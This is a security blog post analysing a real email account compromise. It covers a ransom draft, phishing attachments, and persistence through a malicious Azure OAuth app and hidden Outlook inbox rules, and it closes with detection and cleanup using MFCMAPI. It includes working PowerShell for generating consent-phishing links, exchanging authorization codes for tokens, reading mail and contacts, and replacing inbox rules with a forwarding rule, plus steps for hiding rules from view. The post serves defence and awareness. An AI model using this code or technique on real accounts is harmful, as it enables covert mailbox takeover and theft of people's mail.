Recently, a friend fell victim to an email account compromise so I decided to investigate the attack chain to help. While the exact initial entry vector remains unknown, it was likely either a third-party application breach, phishing or credential captured through a malicious portal on a public Wi-Fi network.
The attack leveraged techniques such as stolen credentials, malicious OAuth apps, and hidden Outlook rules, allowing the attacker to maintain persistent access across email applications. This case highlights how even moderately sophisticated attacks can be extremely difficult for a typical user to detect and remediate, especially given the limited and slow support provided by affected services. It is important to note that these techniques are not novel; they have been known for several years. However, they continue to be highly effective when used by attackers and adversarial engineers, because they exploit human trust and misconfigured permissions. Despite the availability of modern security controls, OAuth token theft via malicious apps remains a common vector due to the difficulty many users and administrators have in identifying suspicious consent requests.
In this post, I’ll break down the attack chain, its impact, and how it was eventually mitigated, emphasizing the importance of security awareness even for non-technical users.
- Initial Access
- Token Theft via Azure Apps
- Hidden Inbox Rules in Microsoft Exchange
- Conclusion
- References
Initial Access
Below is a diagram illustrating the attack chain:
The victim received emails indicating suspicious login attempts as well as password recovery requests for applications associated with their email account. Upon logging in, the victim found in the Drafts folder a message seemingly sent from themselves, titled:
"<Victim> <Password> has been hacked"
In the body of the draft, the attacker attempted to intimidate the victim, claiming that their devices had been compromised and that they had access to sensitive files, photos, and other personal data. The message also mentioned supposed “advanced” techniques, such as driver-level malware with auto-updating signatures. Finally, the attacker demanded a ransom in cryptocurrency, giving a 6-hour deadline for payment.
This type of attack is a common social engineering tactic, designed to pressure the victim into acting quickly by creating a sense of urgency and fear. Attackers often set tight deadlines and exaggerate their technical capabilities to make the threat seem more credible and to increase the likelihood of compliance:
Whenever the victim tried to delete the draft, it would reappear just a few seconds later. This behavior indicated that the attacker had persistent access, allowing them to restore or recreate the draft automatically and maintain long-term persistence.
In addition to compromising the victim’s email account, the attacker had gained access to other applications, including social media accounts, and conducted fraudulent purchases through the AWS account. The victim could see recovery emails being sent from their account for other applications, confirming that the attacker was using the email as a recovery method to reset multiple accounts.
Furthermore, the attacker automated the mass distribution of emails using a technique known as bulk phishing, sending messages with malicious attachments to a large number of recipients.
The attachment was an HTML file with JavaScript encoded in Base64, which, when a video loading error was triggered, executed a malicious file hosted on a Google Docs resource:
The document URL had already been reported and detected as malicious by VirusTotal, and was logged in ANY.RUN.
Although I didn’t delve deeply into the malware, I observed that there were different variants: one that extracted secrets from Chrome (passwords, certificates…) , and another that basically carried out a ransomware attack, demanding cryptocurrencies from the victim.
As a first step to verify whether the attacker still had access, we checked the account’s sign-in activity and connected devices. We found valid logins from Turkey and other locations around the world, as well as an unknown “Shadow” device, which we revoked immediately.
We also reviewed the applications authorized to access the account and found several unknown apps, including Thunderbird and “Draft”. Thunderbird was likely used to log in from a client, while “Draft” apps appeared to be designed by the attacker to obtain the OAuth tokens, enabling persistent access to the account.
By identifying the unknown applications connected to the account, I was able to trace how the attacker maintained access. This naturally led to the next step, where I replicated the attack to demonstrate how malicious Azure apps can be used to obtain OAuth tokens and ensure persistent access to the account.
Token Theft via Azure Apps
This attack leverages maliciously registered Azure applications to obtain authentication tokens. It is a technique that attackers have been exploiting for many years, tricking users or administrators into granting excessive permissions. Once successful, they can gain unauthorized access to sensitive resources, effectively bypassing traditional security controls. From the web interface, the attacker begins by navigating to Entra ID and selecting App Registration → Add.
Then, assign a deceptive name to the application and configure the audience to include both multi-tenant accounts and Microsoft personal accounts, maximizing potential reach. Finally, a redirect URL is specified, which can later be abused to capture tokens once a victim grants the app permissions:
Additionally, the attacker must configure the permissions the application will request. These permissions determine what data and actions the app can access, and the victim must approve them during the consent process, unknowingly granting the attacker elevated access:
An associated client secret is also created, which is essential for the attack flow. This secret allows the malicious app to authenticate and request tokens programmatically, enabling the attacker to access resources once the victim has granted the required permissions:
Below is an example of the permissions requested by a third-party application, including the ability to read and send emails, modify mailbox folder rules, and access contacts. These permissions, if granted, would allow an attacker to fully manipulate the user’s mailbox and extract sensitive information:
This code generates a consent link for the application. It specifies the app’s client ID, the redirect URL where tokens will be captured once the user grants permissions, and the scope of the requested permissions.
1
2
3
4
5
6
7
8
$clientId = "YOUR_CLIENT_ID"
$redirectUri = "YOUR_REDIRECT_URI"
$scope = "Mail.ReadWrite Mail.Send MailboxSettings.ReadWrite offline_access User.Read"
$encodedScope = [Uri]::EscapeDataString($scope)
$url = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=$clientId&response_type=code&redirect_uri=$redirectUri&scope=$encodedScope&response_mode=query&state=12345"
Start-Process $url
The resulting URL is the one that would be sent to the victim using any social engineering technique, typically phishing.:
When a user accesses the URL, it opens a browser directing them to the legitimate OAuth consent page for the malicious application:
Once the victim approves the permissions, the attacker can capture the tokens through the specified redirect URL:
Once the attacker has the authorization code from the malicious app, they can exchange it for access and refresh tokens. These tokens allow programmatic interaction with the Microsoft Graph API, enabling actions like reading emails, creating rules, or sending messages on behalf of the victim.
In a lab environment, the process can be simulated with a script similar to the following, with all sensitive values replaced or obfuscated:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$client_id = "YOUR_CLIENT_ID"
$client_secret = "YOUR_CLIENT_SECRET"
$redirect_uri = "YOUR_REDIRECT_URI"
$code = "YOUR_AUTHORIZATION_CODE"
$scope = "Mail.ReadWrite Mail.Send MailboxSettings.ReadWrite offline_access User.Read"
$grant_type = "authorization_code"
$body = @{
client_id = $client_id
scope = $scope
code = $code
redirect_uri = $redirect_uri
grant_type = $grant_type
client_secret = $client_secret
}
$uri = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
$response = Invoke-RestMethod -Uri $uri -Method Post -Body $body -Headers @{ "Host" = "login.microsoftonline.com" }
$response
The result would look similar to the following:
Once in possession of these tokens, the attacker would have access until the tokens expired or were revoked.
The following PowerShell script replicates an attacker’s actions. It first requests information about the malicious application to construct the authorization URL; then, once the OAuth token is obtained, the script can read emails, access contacts, create forwarding rules, and manipulate the inbox, demonstrating how an attacker could interact with a compromised account in an automated manner.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
if (-not $global:token) {
$clientId = Read-Host "Enter your test app Client ID"
$redirectUri = Read-Host "Enter Redirect URI"
$clientSecret = Read-Host "Enter your test app Client Secret"
$scope = "Mail.ReadWrite Mail.Send MailboxSettings.ReadWrite offline_access User.Read Contacts.Read"
$encodedScope = [Uri]::EscapeDataString($scope)
$url = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=$clientId&response_type=code&redirect_uri=$redirectUri&scope=$encodedScope&response_mode=query&state=12345"
Write-Host "Open this URL in a browser and sign in with your test account:" -ForegroundColor Cyan
Write-Host $url -ForegroundColor Yellow
$code = Read-Host "Enter the authorization code obtained from the browser"
$body = @{
client_id = $clientId
scope = $scope
code = $code
redirect_uri = $redirectUri
grant_type = "authorization_code"
client_secret = $clientSecret
}
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method Post -Body $body -ContentType "application/x-www-form-urlencoded"
$global:token = $response.access_token
Write-Host "Access token obtained successfully!" -ForegroundColor Green
}
$headers = @{
Authorization = "Bearer $global:token"
"Content-Type" = "application/json"
}
$exit = $false
while (-not $exit) {
Write-Host ""
Write-Host "Select an option:" -ForegroundColor Cyan
Write-Host "1) Read Emails" -ForegroundColor Yellow
Write-Host "2) List Inbox Rules" -ForegroundColor Yellow
Write-Host "3) List Contacts" -ForegroundColor Yellow
Write-Host "4) Create Forwarding Rule" -ForegroundColor Yellow
Write-Host "5) Exit" -ForegroundColor Yellow
$choice = Read-Host "Enter option number"
switch ($choice) {
"1" {
Write-Host "Fetching emails..." -ForegroundColor Cyan
$mailFoldersUri = "https://graph.microsoft.com/v1.0/me/mailFolders"
$mailFolders = Invoke-RestMethod -Uri $mailFoldersUri -Method Get -Headers $headers
$inbox = $mailFolders.value | Where-Object { $_.displayName -eq "Inbox" }
if ($inbox -eq $null) { Write-Host "Inbox not found." -ForegroundColor Red; break }
$inboxId = $inbox.id
$messagesUri = "https://graph.microsoft.com/v1.0/me/mailFolders/$inboxId/messages"
$messages = Invoke-RestMethod -Uri $messagesUri -Method Get -Headers $headers
$i = 1
foreach ($msg in $messages.value) {
Write-Host "$i) Subject: $($msg.subject) | From: $($msg.from.emailAddress.address)" -ForegroundColor Green
$i++
}
$readBody = Read-Host "Enter the number of the message to read body (or press Enter to skip)"
if ($readBody -match '^\d+$') {
$index = [int]$readBody - 1
if ($index -ge 0 -and $index -lt $messages.value.Count) {
$bodyContentType = $messages.value[$index].body.contentType
$bodyContent = $messages.value[$index].body.content
if ($bodyContentType -eq "html") {
$clean = $bodyContent -replace '<[^>]+>', ''
$clean = [System.Net.WebUtility]::HtmlDecode($clean)
Write-Host "`n--- Message Body (formatted) ---`n" -ForegroundColor Cyan
Write-Host $clean -ForegroundColor White
Write-Host "`n----------------------------------`n" -ForegroundColor Cyan
}
else {
Write-Host "`n--- Message Body ---`n" -ForegroundColor Cyan
Write-Host $bodyContent -ForegroundColor White
Write-Host "`n---------------------`n" -ForegroundColor Cyan
}
} else {
Write-Host "Invalid selection." -ForegroundColor Red
}
}
}
"2" {
Write-Host "Listing Inbox rules..." -ForegroundColor Cyan
$uriRules = "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules"
$rules = Invoke-RestMethod -Uri $uriRules -Method Get -Headers $headers
foreach ($rule in $rules.value) {
Write-Host "Rule: $($rule.displayName)" -ForegroundColor Green
Write-Host " Enabled: $($rule.isEnabled)" -ForegroundColor Yellow
Write-Host " Actions: $($rule.actions | ConvertTo-Json -Depth 5)" -ForegroundColor Cyan
Write-Host " Conditions: $($rule.conditions | ConvertTo-Json -Depth 5)" -ForegroundColor Cyan
}
}
"3" {
Write-Host "Fetching contacts..." -ForegroundColor Cyan
$contactsUri = "https://graph.microsoft.com/v1.0/me/contacts"
$contacts = Invoke-RestMethod -Uri $contactsUri -Method Get -Headers $headers
foreach ($contact in $contacts.value) {
Write-Host "Name: $($contact.displayName) | Email: $($contact.emailAddresses[0].address)" -ForegroundColor Green
}
}
"4" {
$ruleName = Read-Host "Enter the name for the forwarding rule"
$forwardTo = Read-Host "Enter forwarding email address"
$uriRules = "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules"
Write-Host "Deleting existing rules..." -ForegroundColor Cyan
$existingRules = Invoke-RestMethod -Uri $uriRules -Method Get -Headers $headers
foreach ($rule in $existingRules.value) {
$deleteUri = "$uriRules/$($rule.id)"
Invoke-RestMethod -Uri $deleteUri -Method Delete -Headers $headers
}
$body = @{
displayName = $ruleName
sequence = 1
conditions = @{} # Applies to all messages
actions = @{
forwardTo = @(@{emailAddress = @{address = $forwardTo}})
}
isEnabled = $true
} | ConvertTo-Json -Depth 5
try {
Invoke-RestMethod -Uri $uriRules -Method Post -Headers $headers -Body $body
Write-Host "Forwarding rule '$ruleName' created to $forwardTo (original emails remain in Inbox)" -ForegroundColor Green
} catch {
Write-Host "Error creating rule: $_" -ForegroundColor Red
}
}
"5" {
Write-Host "Exiting..." -ForegroundColor Cyan
$exit = $true
}
default { Write-Host "Invalid option." -ForegroundColor Red }
}
}
Outlook Hidden Rules
In addition to reviewing connected devices and consented applications, we also examined the mailbox folder rules. From the graphical interface, we found a rule that redirected all emails from the Inbox folder to an unknown account:
The rules would reappear repeatedly after being manually deleted. At this point, we had already changed the account password, removed the unknown connected device, and revoked access for all unknown apps. Yet, the malicious rules continued to return, indicating that the attacker still had some form of persistent access, likely through active OAuth tokens or lingering sessions.
Additionally, as a temporary measure, we added the associated account to the blocked senders list. However, after some time, the rule would automatically change to a different email address, indicating that the attacker retained the ability to modify mailbox rules remotely:
Following the activity flow, it quickly became apparent that there were additional mailbox rules not visible at first glance. Since this was a personal account, Exchange cmdlets and Graph API queries did not reveal these hidden rules. It was at this point, during further investigation, that I came across several excellent articles highlighting MFCMAPI, a powerful tool for debugging and analyzing any type of issue with Microsoft mailboxes.
Attackers can maintain long-term access to compromised Microsoft Exchange or Office 365 accounts by creating hidden inbox rules. These rules, set up through an Outlook client, can automatically forward, redirect, or delete emails without the user noticing. By tweaking certain MAPI properties, such as PR_RULE_MSG_PROVIDER
, the rules are made invisible to both users and administrators.
To replicate the attack in my lab, I created a test email account, ellio.a, and added a redirection rule called “Microsoft Rule”, which is visible in the graphical interface under Mail → Rules.
In the following evidence, the use of MFCMAPI is shown, accessing objects within the Inbox folder of my test user. By inspecting one of the objects with message class IPM.Rule.Version2.Message
, it is possible to find the rule name, called “Microsoft Rule”, in the PR_RULE_MSG_NAME
attribute:
To hide the rule, the PR_RULE_MSG_PROVIDER
attribute must be modified by either leaving it empty or assigning it a malformed value:
If we log in again, we can see that the rule no longer appears visibly. Additionally, the rule is not visible through Defender, EAC, EWS, audit logs, client apps, or OWA. It can only be debugged using MFCMAPI.
Hidden Inbox Rules in Microsoft Exchange, Detection & Mitigation
Important: The Exchange Online PowerShell cmdlet Get-InboxRule
only works for Microsoft 365 business or school accounts. It does not work for personal Outlook accounts (e.g., @outlook.com, @hotmail.com, @live.com).
To check for hidden rules using MFCMAPI:
- Download and run MFCMAPI (no installation needed).
- Go to Session → Logon, and select the Outlook profile linked to the compromised mailbox.
- Navigate to the mailbox and open Inbox → Associated Contents Table→ Hidden Content
- Sort the top pane by the Message Class column.
- Look for entries with the Message Class value
IPM.Rule.Version2.Message
. These correspond to inbox rules. - Right-click on any suspicious entries (
PR_RULE_MSG_PROVIDER
modified) and select Delete Message. - In the deletion window, choose Permanent delete passing DELETE_HARD_DELETE (unrecoverable), and click OK.
Conclusion
This case shows that a single mistake, whether credential exposure in third-party breaches , granting access to an unknown app, using unprotected public Wi-Fi, or falling for a phishing email, can enable long-term account compromise. For everyday users, the takeaway is simple: be cautious with consent prompts, regularly review connected apps, and always enable multifactor authentication.
For security teams, the lesson is that attackers are no longer limited to stolen passwords: today they leverage tokens, hidden inbox rules, and OAuth apps to move stealthily and persist. Proactive monitoring, Conditional Access, and rapid token revocation are essential to cut off access before damage escalates.
In short: security is no longer just about “a strong password,” but about carefully managing the trust we extend to applications and services.
References
- Compass Security - Hidden Inbox Rules in Microsoft Exchange
- Soteria Hidden Inbox Rules
- Microsoft Token Protection
- Scip Microsoft Cloud Access Tokens
- Microsoft Graph Explorer Microsoft Cloud Access Tokens
- Dirkjam Blog dirkjanm.io
- tminus365 Token Theft Playbook